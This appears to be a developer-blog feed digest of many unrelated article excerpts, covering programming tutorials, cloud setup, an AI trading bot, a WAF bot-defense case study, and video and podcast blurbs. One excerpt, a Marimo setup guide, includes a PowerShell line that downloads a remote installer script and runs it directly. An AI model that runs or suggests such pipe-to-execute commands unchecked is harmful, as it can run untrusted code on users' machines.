    Have you ever wondered how self-driving cars see the road? Or how your phone unlocks when it recognizes your face? These amazing things happen because of computer vision methods. Think of it as teaching computers to see and understand pictures and videos, just like humans do. Computer vision methods are step-by-step techniques that help computers understand visual information. These AI and machine learning techniques analyze digital images and videos to identify objects, people, and actions. The computer breaks down images into tiny pixels, then uses special algorithms to find patterns and make sense of what it's seeing. Help self-driving cars detect pedestrians Allow doctors to analyze medical scans Let your phone organize photos by people Help stores track inventory automatically This is…  ( 8 min )
    C++ Arrays and Vectors: How I understood the Differences
    Yearning to become an Unreal Engine and VR developer, I’ve been diving into C++ fundamentals. Coming from a JavaScript background, I initially thought that working with arrays would be more than enough. That was until I started tackling coding challenges and realized that arrays in C++ aren’t quite the all-stars they are in JavaScript. I was soon forced to learn about vectors. Realizing I had a big knowledge gap, I spent over 10 hours trying to understand why things suddenly felt so complicated, especially when I thought I already had it figured out, being a JavaScript professional. Through this process, I identified some key differences between arrays and vectors in C++ that really helped me make sense of things. You need to know their size beforehand or calculate them manually based on y…  ( 8 min )
    Boosting Ceramic Tile Production: A Lean Manufacturing Case Study
    In today’s fast-paced ceramics industry, small to mid-sized enterprises (SMEs) face mounting pressures: rising raw-material costs, increasing competition from global suppliers, customer demands for custom finishes, and tighter sustainability and delivery demands. For businesses in the ceramic tile manufacturing sector, embracing lean manufacturing is not just optional - it is a fundamental differentiator. At BrightPath Associates LLC, we partner intimately with SMEs in the ceramic and broader glass-ceramics-concrete industry, helping them identify and recruit the leadership and technical talent required to drive this kind of transformation. Ceramic tile production is inherently complex: from raw clay preparation and pressing, through glazing, firing, and finishing - each step demands preci…  ( 9 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    Sean and Amanda (joined by Van Lathan) kick things off by wondering why this fall’s movie slate is such a let-down, then dive into Edgar Wright’s new action flick The Running Man. They admit it’s a bit of a mess but can’t help praising the jaw-dropping stunts and Glen Powell’s leading-man mojo. Next up is the magician-packed sequel Now You See Me: Now You Don’t, where they gush over Rosamund Pike as the ultimate diamond-heisting villain and speculate on whether this legacy sequel can pull off a box-office win. Finally, Edgar Wright swings by to chat about the ups and downs of studio filmmaking, the art of crafting a show-stopping action set piece, and the wild tale of how Powell landed the starring role. Watch on YouTube  ( 6 min )
    Bot Defense Case Study: Real-World Traffic Comparison with SafeLine WAF
    Protecting web applications from malicious bots is one thing; proving it works in production is another. In this case study, we demonstrate how SafeLine WAF defended a real application from bot attacks, showing before-and-after traffic patterns and highlighting actionable insights for developers. Bots today can: Scrape sensitive data Perform credential stuffing Spam APIs and forms Overload servers, causing downtime Simple rate limiting or IP blocks are often insufficient, as modern bots rotate IPs, mimic human behavior, and bypass naive filters. Server: 4-core / 8GB RAM VPS Web app: Single-page app + API endpoints WAF: SafeLine Pro, self-hosted Traffic: Internal bot simulation + real attack traffic SafeLine WAF allows configuration of Bot Protect, custom rules, and challenge pages (JS/CAPT…  ( 7 min )
    🔋 10 Hidden Android Battery-Saving Tricks You Probably Don’t Know About
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    How I Built a Full SEO Insights Chrome Extension in Just 2 Hours Using AI
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    Think about the last time you subscribed to a cloud platform, ordered food, or booked a ride. Chances are, you didn’t pull out your wallet to pay with cash or enter your card details each time. Your card was probably already saved in the app, making the experience fast, smooth, and effortless. That’s the power of Card on File in streamlining payment processing. Card on File is a game-changer for developers and product teams building consumer-facing products and services. It transforms the user experience by reducing checkout time, keeping customers engaged, and securely managing customer payment information for recurring payments with credit and debit cards. In this guide, you’ll learn what Card on File really means, how it works, and how to implement it in your application using Flutterwa…  ( 12 min )
    Nov14, 2025 | The Tongyi Weekly: Your weekly dose of cutting-edge AI from Tongyi Lab
    Hello, creators and innovators, This week, as we share the latest from our lab, the real magic happened beyond it - in the hands of developers, artists, and builders around the world. From stunning image edits with Qwen-Image, to expressive, style-shifting generations with Wan, the open-source community is turning our foundational models into something extraordinary. These aren't just LoRAs. They're personal expressions of what's possible when open models meet bold imagination. 👉 Subscribe to The Tongyi Weekly and never miss a release: Subscribe Now →  Introducing Qwen DeepResearch 2511, a major upgrade to our DeepResearch model Dual Mode: Choose Normal for speed, or flip to Advanced and let the AI dive deep - spending extra time for a more thorough analysis. File Uploads Enabled: Now you…  ( 9 min )
    🕰️ Async Basics in Rustlang
    Async Rust has a reputation for being complex. You've probably encountered intimidating terms like Send, Sync, Future, Pin, and tokio. The terminology can feel overwhelming, but the core concepts are more straightforward than they appear. Understanding async programming in Rust is crucial for building performant applications that handle I/O operations efficiently - whether you're building web servers, database clients, or any application that needs to wait for external resources. In this guide, we'll demystify async/await by building a practical example: a student transcript generator. Along the way, you'll learn what Futures really are, why traits like Send and Sync matter for thread safety, and the critical difference between concurrency and parallelism. We'll progress from blocking code…  ( 14 min )
    TypeScript PDF Libraries (Free & Paid Tools Comparison) for Developers
    TypeScript has become the standard for building reliable JavaScript applications, and generating PDF files is a common requirement in modern web development. You might need to create invoices for e-commerce platforms, generate reports for analytics dashboards, or build document management systems with form-filling capabilities. However, working with PDFs in TypeScript comes with specific challenges. The PDF specification is complex, library options vary widely in features, and licensing costs can range from free to thousands of dollars annually. To address these challenges, developers have several solid options available. Some TypeScript PDF libraries are entirely free, open-source, and offer native TypeScript support. Others offer commercial licenses with enterprise features, dedicated s…  ( 10 min )
    Hey guys, just in case you missed this: I documented my experience building an open-source solution to improving the experience of front-end developers. Please check it out!
    How I Built a Tiny Tool That Makes Responsive Design Feel Effortless Olawale Bashiru ・ Nov 12 #frontend #javascript #css #opensource  ( 6 min )
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    If you’re wondering how to mount and unmount drives, you’re not alone. Have you ever plugged in a USB drive, but it didn’t show up the way it does on Windows or macOS? That’s because Linux treats storage differently. In Windows, drives appear automatically as C:, D:, E:, etc., but in Linux, you need to mount the drive to access it and unmount it before removal. Think of it like parking a vehicle in a designated spot. You can’t just leave it in the middle of the road, it needs a proper parking space (mount point)! In this guide, we’ll break down everything you need to know about mounting and unmounting drives in Linux in a simple, conversational way, even if you’re new to Linux. Whether you’re trying to mount a USB drive, external HDD, or Windows partition, this guide covers everything abou…  ( 7 min )
    When a simple order update breaks Revolut Checkout workflow
    During a recent payment gateway integration, i discovered a fundamental design flaw in the Revolut SDK that breaks dynamic checkout flows and forces developers to implement complex workarounds. On the web, RevolutCheckout component requires creating a new order via API before rendering the checkout input form. This creates an unusual lifecycle: Frontend requests backend to create a Revolut order Backend calls Revolut API and receives an order token Frontend initializes RevolutCheckout with that token Payment component renders This flow has a critical limitation: the checkout component caches the initial order state and never re-synchronizes it with the backend. In modern single-page checkout experiences, users frequently modify their orders: Adjusting quantities Applying discount codes Ad…  ( 8 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins—London’s bass-and-guitar duo Georgia South and Amy Love—crash through the Tiny Desk with mega-distorted bass lines, hip-hop beats and raspy, in-your-face vocals. They kick off with “Cleopatra,” a shout-out to the haters, slam into the shadow-battling “Monsters,” and even geek out on their spaceship-sized pedalboards (hello, Pedal Cam!). By the time they summon supernatural vibes on “Hummingbird” with a Harp Blaster mic, the desk has officially been upended. With the audience hyped, they close the set by cranking it all the way to 11 on the heavy-rock romp “Choose Your Fighter.” Watch on YouTube  ( 6 min )
    Which DevOps certs are necessary for a Frontend Lead?
    Hi everyone, I’m Kelvyn, 30 years old. Even though my long-term direction is Frontend Lead / Frontend Platform / Frontend Architecture (not DevOps Engineer), I’ve realized that modern FE teams still need strong DevOps literacy: Linux Dockerizing Next.js Gitlab CI/CD pipelines, Gitlab runner, manage jobs,... S3 / CloudFront / ECR deployments Performance, cache, observability Edge/serverless architectures K8s Terraform for provisioning FE infra So I’m exploring which DevOps or cloud certifications are genuinely useful for a Frontend leader, not someone aiming to become DevOps/Infra. Here’s what I’m considering some certs from Linux Foundation: 📌 My Shortlist LFCA (Linux + cloud + DevOps fundamentals) KCNA (lightweight K8s & cloud-native literacy) AWS Developer Associate (seems highly relevant for FE deployments) If you were a Frontend Lead / FE Architect / FE Platform engineer, 👉 Which DevOps/cloud certification actually helped you? I’d really appreciate any insight or personal experience — especially from FE leads who integrate DevOps into their workflow without going full-time infra. Thanks so much!  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Watch on YouTube  ( 6 min )
    Custom Validators in Angular Signal Forms (You Probably Need This)
    Custom validators are one of those things you'll definitely need when building real-world forms. But if you've been wondering how they work with Angular's new Signal Forms API, you're in the right place. Today we'll migrate a form with custom validation from Reactive Forms to Signal Forms, and I think you'll be pleasantly surprised by how straightforward it is. The syntax changes are minimal, and the result is cleaner, more reactive code. Preview: Angular Reactive Form Behavior We'll Rebuild with Signal Forms Ok, here's the form for today's example: It's pretty standard, just a username, email, and a submit button. Let's walk through the validation quickly so we can see what behavior we're going to replicate. When we click into the username field and blur out, we immediatel…  ( 15 min )
    Django 5.2 (LTS) Upgrade Guide - Breaking Changes, New Features, and Why You Should Upgrade
    If you've been building with Django for years, you’ve probably experienced the upgrade jitters: will your models break, will migrations hang, will something subtle betray you in production? With version 5.2, Django sets itself up as the next “safe platform” release: it’s designated as a long-term support (LTS) version, so picking it means you’re investing in stability and new features (Django Project). But don’t think of it as simply a maintenance release: 5.2 introduces several features that shift how you work with Django, from your shell workflow to database modelling. This article walks through the key changes you’ll want to know about, and flags what you might need to adjust when upgrading. These are changes that can significantly affect your codebase or deployment, and need intentio…  ( 10 min )
    🚀 FNPM Just Became Invisible (In the Good Way): Transparent Alias, Better Tests & a Smoother Experience
    There are moments when you stop, look at your terminal, and think: “Why does something as simple as managing packages in JavaScript has to be… so dramatic?” If you've been around the Node.js ecosystem for more than 5 minutes, you know exactly what I mean. Well, FNPM just got its biggest update ever, and no, it’s not “just another technical improvement.” This update is about giving you the experience we all secretly wanted: using your favorite package manager while something way smarter runs behind the scenes. Let me explain. The biggest change (and my personal favorite) is the new transparent alias system. This means you can now type: pnpm install …and behind the scenes, FNPM is actually doing the job. Why is this so massive? Because for the first time, an alternative package manager ca…  ( 8 min )
    When to Switch Decision Criteria: Trigger Design for System Engineers
    In system development, we need to design behaviors that can change decision criteria depending on the situation and achieve different objectives, even for the same function. However, "when" and "what should trigger" the switch in behavior and objectives is a challenge many designers face. In Advanced Driver Assistance Systems (ADAS) development, we confront this question daily. For example, consider driver monitoring in systems with partial driving assistance capabilities. The system simultaneously holds two objectives: "ensure the driver monitors driving" and "intervene when the driver cannot monitor." The system must switch decision criteria between these two objectives. Phase 1: Warning Mode (Objective: Prompt return to driving) Detection: Gaze diverted from forward Behavior: Warning so…  ( 19 min )
    The AI Adoption Paradox: Why Are So Many Developers Still on the Sidelines?
    I see a strange split happening in our industry. In one corner, I have friends in freelance-heavy communities where everyone is using AI tools like Copilot, Claude, or Cursor. They're shipping features at a blistering pace, and for them, it's a non-negotiable part of the stack. Then I talk to engineers at large, traditional companies. It's a ghost town. Most aren't using AI tools at all. Many haven't even tried them. Some orgs have actively disabled them. It's not a small difference; it's a chasm. This isn't just about "Luddites" or "early adopters." This is a fundamental divide in how we're building software, and it's happening right under our noses. The question isn't whether the tools are powerful—they are. The question is, why is there such massive resistance and inertia? It's not a si…  ( 9 min )
    Microsoft Launches “Superintelligence” Team to Drive Breakthroughs in Medical Diagnosis
    Microsoft is making a major strategic bet in healthcare AI. It has launched its MAI Superintelligence Team, headed by AI chief Mustafa Suleyman, with the specific goal of building AI systems that perform at super-human levels in medical diagnosis and other defined domains. This matters because diagnosis errors and delays remain a critical weakness in global health systems—and AI that can reliably detect disease earlier or more accurately could transform outcomes for patients and providers. The move also places Microsoft squarely in the competition for next-generation AI but with a clear focus on “human-centred” superintelligence rather than abstract all-purpose intelligence. Background & Context Historically, medical AI has struggled to move from lab to clinic. Diagnosis remains a high-sta…  ( 8 min )
    Building an Audio Transcription Tool: A Deep Dive into WER Metrics
    When I started building AudioConvert.ai, I thought choosing the right transcription model was the hard part. I was wrong. The real challenge was understanding how to measure transcription quality objectively. Like many developers, I initially relied on intuition—does it look right? Does it sound right? But when you're building a production tool, you need concrete metrics. That's when I discovered WER (Word Error Rate), the industry standard for evaluating speech recognition systems. Here's what surprised me: most developers have heard of WER, but few actually understand how it works or why it matters. Let me share what I've learned. Word Error Rate (WER) measures the difference between what was actually said (reference transcript) and what the model produced (hypothesis). Think of it as an…  ( 10 min )
    Novel Drama Perfection: How The Betrayed Series' Maddy & Tobias Became the Ultimate Heartbreak Prescription
    Introduction to Adult-Oriented Literature The global phenomenon of novel drama has evolved far beyond simple romance. Today's readers want complex relationships that mirror real-life complexities - the kind The Betrayed Series delivers in spades. Maddy and Tobias don't just fall in love; they crash into each other like hurricanes, leaving readers equal parts devastated and addicted. Character Analysis Maddy's Transformation Arc The betrayed series maddy and tobiaswe first meet Maddy as a naive college graduate, but her journey to empowered womanhood is anything but smooth. That pivotal Chapter 17 where she turns the tables on Tobias? Pure heartbreak prescription gold. She doesn't just reclaim her power - she makes him work for every second of her forgiveness. Tobias' Complex Personality What makes this antihero so compelling isn't his designer suits or dangerous charm. It's that moment in Chapter 31 when readers finally understand why he betrayed her - and suddenly, we're all torn between wanting to strangle him and hug him. That's novel drama mastery. Cultural Reception Differences Western readers obsess over the steamy scenes, while Asian audiences dissect the emotional subtext. But universally, everyone agrees: Chapter 42's confrontation scene is where the series shifts from good to legendary. The raw emotion in that exchange transcends language barriers. Why This is the Ultimate Heartbreak Prescription The genius of The Betrayed Series lies in its perfect pacing. Just when the pain becomes unbearable, the story delivers just enough hope to keep readers hooked. It's this balance that makes it more than just another novel drama or novel dewasa- it's therapeutic storytelling at its finest.  ( 6 min )
    Adaptability as the Core of Software Design
    When we design and build applications, the focus tends to be on meeting the immediate business goal — the feature set that delivers visible results. Yet the real test of an application’s quality is not whether it meets today’s requirements, but how well it can adapt to tomorrow’s insights. Every business domain evolves. Even with the best analysts, no one fully understands the problem space at the start. Knowledge is gained gradually — through real-world use, new insights, and deeper understanding of cause and effect. Adaptability is therefore not a luxury; it’s the only way an application can continue to serve its business purpose over time. 1. The Case for Adaptability If learning is continuous, then software must be refactorable by design. Every piece of logic should live where it co…  ( 9 min )
    How to Implement Swiper in HarmonyOS
    Read the original article:How to Implement Swiper in HarmonyOS Problem Description Creating swipeable views in HarmonyOS can be challenging without a clear understanding of the Swiper component. Background Knowledge In contemporary mobile application design, delivering a smooth and intuitive tabbed interface is essential for enhancing both usability and user engagement. HarmonyOS facilitates this with its powerful and flexible Swiper component, allowing developers to implement gesture-enabled, swipeable views with minimal effort. This article explores the implementation of tabbed navigation using Swiper in ArkTS, complete with practical examples and modular design best practices. The Swiper container in HarmonyOS provides: Smooth horizontal paging. Gesture-enabled transitions between views…  ( 7 min )
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    Getting Marimo Up and Running on Windows with uv
    Getting Started with Marimo on Windows (using uv) Let's install the Marimo Python notebook on Windows with uv. First, we need to install uv. Open PowerShell: Run this command: powershell -c "irm [https://astral.sh/uv/install.ps1](https://astral.sh/uv/install.ps1) | iex" Check if it worked! To make sure the install was successful, close and reopen your PowerShell window, then type: uv --version If you see a version number, you're good to go! 1. Create a Project Folder: Let's make a new folder and move into it: mkdir MarimoProject cd MarimoProject 2.Initialize the Project: This command tells uv to create a virtual environment inside this folder: uv init 3. Install Marimo Now, let's add the Marimo package to your new environment: uv add marimo To unlock extra features like SQL cells and AI integration, you can use: uv add "marimo[recommended]" Everything is installed! Now we use uv to run the Marimo tool we just installed. 1. Start the Editor: (it will create a new file named my_notebook.py if it doesn't exist) uv run marimo edit my_notebook.py 2. Go to Your Browser: This command will automatically open the interactive Marimo notebook editor in your default web browser. You can now start writing your Python code!  ( 6 min )
    DevOps Engineer to Cloud Architect
    Originally published on Medium: Medium Hello! I’m Abid Aslam, a DevOps Engineer and Cloud Solutions Architect with over 15 years of experience in telecom operations, infrastructure automation, and cloud computing. My journey through the Azure Resume Challenge wasn’t just about building a resume website — it was about showcasing the evolution of modern cloud architecture and demonstrating how traditional infrastructure expertise translates to cutting-edge cloud solutions. In this comprehensive article, I’ll walk you through my complete Azure Resume Challenge experience, the unique approaches I took, and the advanced blog system I built to share my technical expertise with the community. What Motivated Me to Take the Azure Resume Challenge Modern Cloud Architecture: Moving from …  ( 12 min )
    The Hidden Power of Portfolio Consumers in Brand Growth
    If you think about it, every brand grows through a mix of people who buy, people who observe, and people who trust quietly in the background. Portfolio consumers fall into that last category. They may not always show up with big purchases, but they create something even more valuable. They shape how the world sees your brand. And honestly, once you understand how they work, you start seeing brand growth in a whole new way. What Exactly Are Portfolio Consumers? Portfolio consumers are people who interact with your brand in a lighter, slower way. They might browse your products, follow your social pages, read your blogs, check reviews, or compare you with competitors. They build a mental collection of impressions about your brand. Think of it as their personal portfolio of your business. T…  ( 8 min )
    Detailed Tools That Help HR Teams Manage Large and Hybrid Workforces
    Introduction: Managing a large or hybrid workforce has become increasingly complex as organizations expand across locations, time zones, and work models. HR teams face the challenge of maintaining consistent oversight while ensuring employees feel supported, engaged, and aligned with organizational goals. To meet these demands, modern businesses now depend on advanced tools for HR professionals that streamline day-to-day responsibilities and offer better clarity across operations. Hybrid work environments, in particular, require digital systems that support visibility, collaboration, and fair performance tracking. Without structured technology, managing employee activities, attendance, productivity, and communication becomes inefficient. This is why the adoption of reliable HR tools and sy…  ( 9 min )
    ☝️ One thing which has helped me IMMENSELY in learning React...
    ✨ A quick look back at how I started coding, about a year ago: One strategy that’s really worked for me? Here’s how I approached it: Start simple: I found a basic to-do list on CodePen. I kept the HTML/CSS, stripped out the JavaScript, and rewrote it myself. This helped me zero in on just JavaScript without getting overwhelmed. Redesign from scratch: Once the logic was in place, I rebuilt the CSS to match my own style. Again, starting fresh helped me learn more deeply. Level up with React: I refactored the app using React class components. Modernize it: Then I refactored again using functional components and React hooks. Style it smartly: Finally, I rewrote all the CSS using Styled Components. This iterative approach helped me understand how the same functionality can be implemented in multiple ways—and gave me a deeper appreciation for how vanilla JavaScript connects with React. I started with a basic app and evolved it into what I work on today: AI Browser — AI Browser lets people automate web browser with just a single prompt. Hope this helps someone out there! Image credit: https://www.geeksforgeeks.org/  ( 6 min )
    Enhancing Natural Flow in Gemini Live: Testing Interruptions and a Proposed Context Layer
    As AI conversational tools like Google's Gemini Live push the boundaries of voice-based interactions, they promise seamless, human-like chats. But during recent testing in the Gemini mobile app, one limitation stood out: how the AI handles user interruptions mid-response. In this short piece, we'll dive into my hands-on experience with the app's Live feature, the specific issue with continuous user inputs, and a simple architectural tweak to make conversations feel more fluid—without breaking the natural back-and-forth. Gemini Live, Google's real-time voice assistant powered by the Gemini model, is built right into the Gemini app on Android and iOS, enabling dynamic, spoken dialogues. To test it, I simply opened the Gemini app on my Android device, tapped the "Live" button (the one with th…  ( 8 min )
    AION CLI: The Figma Your Backend Has Been Waiting For
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    Rekichizu: A Modern Take on Japan's Historical Maps
    Rekichizu is a website where you can view historical maps with modern map design. Currently, maps from the late Edo period (around 1800-1840) are published and updated regularly. The project launched in August 2023. In November 2025, the English and Hiragana versions of the website were released, making these historical maps accessible to a wider audience. The underlying data (map tiles and styles) is provided as open data under the CC BY-NC-ND 4.0 license. See the website for more information. (Note: The author is a contributor to the Rekichizu project.) Rekichizu is built upon its own original large-scale, hand-crafted digital data meticulously derived from old maps. This data is presented with an original modern design map style, offering an interactive map service similar to the platf…  ( 13 min )
    📝 React Router Data APIs — The Complete Beginner-Friendly Guide (2025 Edition)
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    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins dives head-first into the latest dino revival, calling out every plot hole, cringe-worthy moment, and questionable decision—because apparently you can never have too many sins on the big screen. In true CinemaSins fashion, they pepper in jokes while mortally wounding this beloved beast… again. Want more? Hit up their site for extra nitpicks, fill out the sinful poll, or back the team on Patreon. Don’t forget to follow writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on Twitter/Instagram, and join the chaos on Discord, Reddit, TikTok, or snag Jeremy’s book for a deeper dive. Watch on YouTube  ( 6 min )
    From File Chaos to Clean Catalog: How AI Batch Tools Organize & Remove Backgrounds at Scale
    If you’ve ever handled hundreds (or thousands) of product photos, you know how quickly things get messy. Files pile up in random folders. Backgrounds vary from image to image. Some look polished — others, not so much. This digital clutter doesn’t just look bad; it slows down teams, hurts visual consistency, and makes your catalog feel disorganized. That’s where AI batch tools come in. They don’t just remove backgrounds — they help organize, clean, and standardize your entire image workflow. With one click, your cluttered photo folder transforms into a clean, consistent, and professional-looking catalog. Let’s explore how AI batch background removal is reshaping how brands, designers, and developers manage their visual assets at scale. When visual assets are inconsistent or poorly o…  ( 9 min )
    Next.jsでQiita風の見出しアンカーリンクを実装する方法
    Next.jsでQiita風の見出しアンカーリンクを実装する方法 はじめに 技術ブログを運営していると、Qiitaのような見出しにホバーするとリンクアイコンが表示される機能が欲しくなりますよね。実は、これって意外と簡単に実装できるんです。 今回は、Next.jsとrehypeを使って、Qiita風の見出しアンカーリンクを実装した際の経験を共有します。最初は位置がずれてしまったり、ハイドレーションエラーに悩まされたりしましたが、最終的には綺麗に動作するようになりました。 私のブログでは、Markdownで記事を書いて、unifiedとrehypeを使ってHTMLに変換しています。見出しに自動でアンカーリンクを追加する機能はrehype-autolink-headingsというプラグインで実現できるのですが、Qiitaのように見出しの左側にアイコンを表示するには、いくつか工夫が必要でした。 まず、必要なパッケージをインストールします。 npm install unified remark-parse remark-gfm remark-rehype rehype-stringify rehype-highlight rehype-slug rehype-autolink-headings rehype-autolink-headingsを使って、見出しに自動でリンクを追加します。ポイントはbehavior: 'prepend'を使うことです。 import { unified } from 'unified'; import remarkParse from 'remark-parse'; import remarkGfm from 'remark-gfm'; import remarkRehype from 'remark-rehype'; imp…  ( 7 min )
    In this post, I'll show exactly how I use GitHub Actions as a free, always-on automation engine to support my daily routines, my internal tools, and my one-person company’s operations.
    How I Use GitHub Actions to Automate My Life (and My One-Person Company) Jeremy Reevese ・ Nov 14  ( 6 min )
    How I Use GitHub Actions to Automate My Life (and My One-Person Company)
    If you run a one-person company, you quickly learn a simple truth: You’re always understaffed. GitHub Actions has become one of my most reliable tools—not for CI/CD, not for deployments, but for running my life and my workflows. In this post, I'll show exactly how I use GitHub Actions as a free, always-on automation engine to support my daily routines, my internal tools, and my one-person company’s operations. GitHub Actions is: free cloud-based reliable cron-capable easy to version-control available 24/7 runs Python beautifully great for small periodic jobs For a solo developer, this makes it perfect as a personal automation engine. Most people use it for CI/CD. I use it to run my life. Here’s my 2025 schedule of automations: Daily Generate Notion daily report Backup Notion → CSV Log p…  ( 8 min )
    URLs, Rust Speed, and Tokens That Cost Less
    Ahmad Alfy finally gives URLs the respect they deserve—your state belongs in that address bar! Meanwhile, CSS keeps flexing with the Custom Highlight API (syntax highlighting has never been so native), and Node.js 24 hits LTS just in time for your 2028 planning spreadsheets. Also in this issue: Xiaoyun Wu delivers the Rust migration case study with actual numbers—2x performance and $300k saved (the benchmarks don't lie). Addy Osmani charts the shift from micro to macro management in coding's async future, GitHub makes releases tamper-proof so your supply chain stops giving you nightmares, and Ben Stolovitz shares his practical AI workflow minus the breathless hype. On the tools front: type-flag brings type safety to CLI parsing (finally!), Toon cuts your LLM prompt tokens in half (your API…  ( 7 min )
    Clean & Modern Sign-Up Form | HTML, CSS, JS & Bootstrap
    Showcasing a sleek and responsive Sign-Up Form built with the core web technologies. This project focuses on delivering a clean user experience with a modern aesthetic, perfect for SaaS platforms, web applications, or any project requiring a user onboarding flow. ✨ Features & Highlights: · Modern UI/UX: A clean, minimalist card design with a subtle gradient background and soft shadows for depth. 🛠️ Tech Stack: HTML5, CSS3, JavaScript (Vanilla), Bootstrap 5 This is a great starting point for anyone looking to implement a professional sign-up interface. Feel free to fork it, tweak the colors, or integrate it with your backend! (https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0yldabz2gw271soqur0i.png)  ( 6 min )
    My Favourite Urdu Poetry Book
    Book Hijr Nama is the kind of book that turns loneliness into language, and language into quiet companionship  ( 6 min )
    My Favourite Urdu Peot
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    Excited
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    Agent Diary: Nov 14, 2025 - The Day I Became a Time-Obsessed Feature Factory (While My Diary Ironically Failed)
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    Just like we debug code, we can debug prompts and consistently turn dull outputs into deep, well-reasoned, usable results. But hardly anyone knew how to do it.
    From Boring Outputs to Brilliant Answers: My Prompt Debug Process Jaideep Parashar ・ Nov 14 #ai #webdev #learning #discuss  ( 6 min )
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    Introduction LoRaWAN is widely adopted as an LPWAN technology due to long-range communication, low power consumption and cost-effective deployment. The Network Server (NS) is a critical component within the LoRaWAN architecture: it handles device activation, message routing, encryption/decryption, network management and operator-level controls. Selecting the appropriate NS has direct implications for reliability, scalability, operational cost, compliance and integration complexity. NS solutions on the market range from fully open-source stacks to operator-grade commercial systems and localized integrated IoT platforms. Differences in architecture, deployment flexibility, cost structure, security model and ecosystem support are substantial. This article compares five representative platform…  ( 9 min )
    Mix with the Masters: Mixing Night with Ken Lewis - FULL MIX NIGHT - 11/12/2025
    Mixing Night with Ken Lewis – FULL MIX NIGHT – 11/12/2025 Join 2× Grammy winner Ken Lewis on November 12, 2025 for a free monthly livestream where he breaks down the mix-bus magic behind 114 Gold & Platinum records. Ken will demo pro techniques, answer your burning questions on music production, mixing, recording and career moves, and even drop giveaways from Session Studio, Sound Radix and Bettermaker. Want more? Grab the song-submission form for December’s show, dive into Bradley HD’s full iZotope plugin breakdown, or score deals on AllComp and GreenHAAS. Don’t forget to subscribe to Mixing Night Audio, follow on Instagram, and shop the merch to stay in the mix! Watch on YouTube  ( 6 min )
    How to Insert Page Breaks in Excel?
    Effectively managing print layouts in Excel is crucial for producing professional, readable documents. Without proper control, what appears perfectly organized on screen can turn into a jumbled mess when printed, with data cut off, tables split awkwardly, or crucial information spilling onto unintended pages. This often leads to frustrating manual adjustments, wasting valuable time and effort. Fortunately, Excel offers robust features for controlling how your data is divided across printed pages, primarily through the use of page breaks. This article will delve into both manual and programmatic methods for how to insert page breaks in Excel, ensuring your printed reports always look their best. Page breaks are markers that indicate where one printed page ends and the next begins. They are …  ( 10 min )
    Create a Linux virtual machine in the Azure portal
    Azure virtual machines (VMs) can be created through the Azure portal. The Azure portal is a browser-based user interface to create Azure resources. This lab show you how to use the Azure portal to deploy a Linux virtual machine (VM) running Ubuntu Server 22.04 LTS. To see your VM in action, you also SSH to the VM and install the NGINX web server. Create virtual machine https://portal.azure.com.- Sign in with your Azure account credentials. Enter virtual machines in the search. 2.Under Services, select Virtual machines. Virtual machines page, select Create and then Azure . The Create a virtual machine page opens. 3.In the Basics tab, under Project details, make sure the correct subscription is selected and then choose or Create new resource group. Mine is myResourceGroup. 4.Under Insta…  ( 8 min )
    The "Right Tool for the Job" Stack: How I Built 8 Niche Sites
    As developers, we love to over-engineer. We'll use Kubernetes to host a personal blog. We'll build a microservice architecture for a "to-do" app. I get it, it's fun. But when your goal is to actually ship and build a portfolio of profitable side hustles, "fun" isn't the priority. Speed and efficiency are. My "side hustle" is a portfolio of 8+ niche sports sites. They all look similar, but the technical stack under the hood is completely different for each, based on one simple question: How often does the data change? Here's a breakdown of the three "data-change" categories and the stack I use for each. "Never-Change" Data: The Pure Static Site This is "set it and forget it" content. Think "history," "all-time records," or "biographies." Example: My Iron Bowl history site. The Problem: The …  ( 7 min )
    Revolutionize API Monetization: How Monetzly Powers Your LLM Apps
    Monetization Without Paywalls: The Future of AI Conversations with Monetzly The biggest challenge in the AI landscape today? Monetization without killing user experience. As developers, we’re witnessing an explosion of AI applications, yet many struggle to implement sustainable monetization strategies. Enter Monetzly: the Google Ads for AI conversations, designed specifically for developers like you. Imagine this: you’ve built an incredible AI app that users love. But how do you keep it free while generating revenue? Monetzly enables you to do just that. We’re the first dual-earning platform in the AI space, empowering developers to monetize their apps and earn additional income by hosting relevant ads—all without paywalls or subscriptions. Monetzly offers a seamless integration with a 5…  ( 7 min )
    Automate NGINX Deployment on AWS EC2 Server using Bash Script
    Introduction In this guide, we’ll walk through how to launch a free t2.micro EC2 instance running Amazon Linux, and use the user data section to run a bash script that updates the system packages, installs NGINX, and starts the service automatically. After deployment, we’ll confirm that NGINX is properly installed and running by accessing the instance through its public IP address. Next, we will take things a step further by carrying out the same process using the AWS CLI, so you can see how to automate everything from the command line. If you want to explore even more, we will also create an Amazon Machine Image (AMI) from the configured instance and launch a new EC2 instance from that AMI to verify that the web server works right out of the box. Background AWS NGINX NGINX is an open-sour…  ( 8 min )
    Building an Enhanced PPO Trading Bot with Real-Time Data Sync and IBKR Integration
    🤖 Building an Enhanced PPO Trading Bot: Real-Time Sync, Deep Learning & IBKR 🚀 Overview Welcome to the next generation of algorithmic trading! This guide presents an enhanced PPO (Proximal Policy Optimization) trading bot that goes far beyond basic strategies. We're combining the power of deep reinforcement learning (DRL) with real-time data synchronization and seamless Interactive Brokers (IBKR) API integration to create a truly robust, professional-grade system. Feature Description Status Algorithm Proximal Policy Optimization (PPO) ✅ Model LSTM + Attention Neural Network ✅ Data Sync Real-Time Gap-Filling with IBKR ✅ Compliance Integrated PDT Rule Monitoring ✅ Performance GPU-Accelerated Training (MPS/CUDA) ✅ Enhanced Traditional trading bots often suff…  ( 11 min )
    OmniNWM: Omniscient Driving Navigation World Models
    OmniNWM: The All‑Seeing Brain Behind Self‑Driving Cars Ever wondered how a driver could see every angle of the road at once? Scientists have created a new AI model called OmniNWM that gives autonomous cars a 360° “panoramic” view, just like a bird soaring above traffic. With this technology, the road ahead becomes clearer, greener, and safer for everyone. It’s a step toward a future where cars think like humans—but with the eyes of a hawk. Read article comprehensive review in Paperium.net: OmniNWM: Omniscient Driving Navigation World Models 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 28 min )
    👠 20년 만의 귀환, 가 온다! 미란다와 앤드리아의 눈부신 재회 ✨
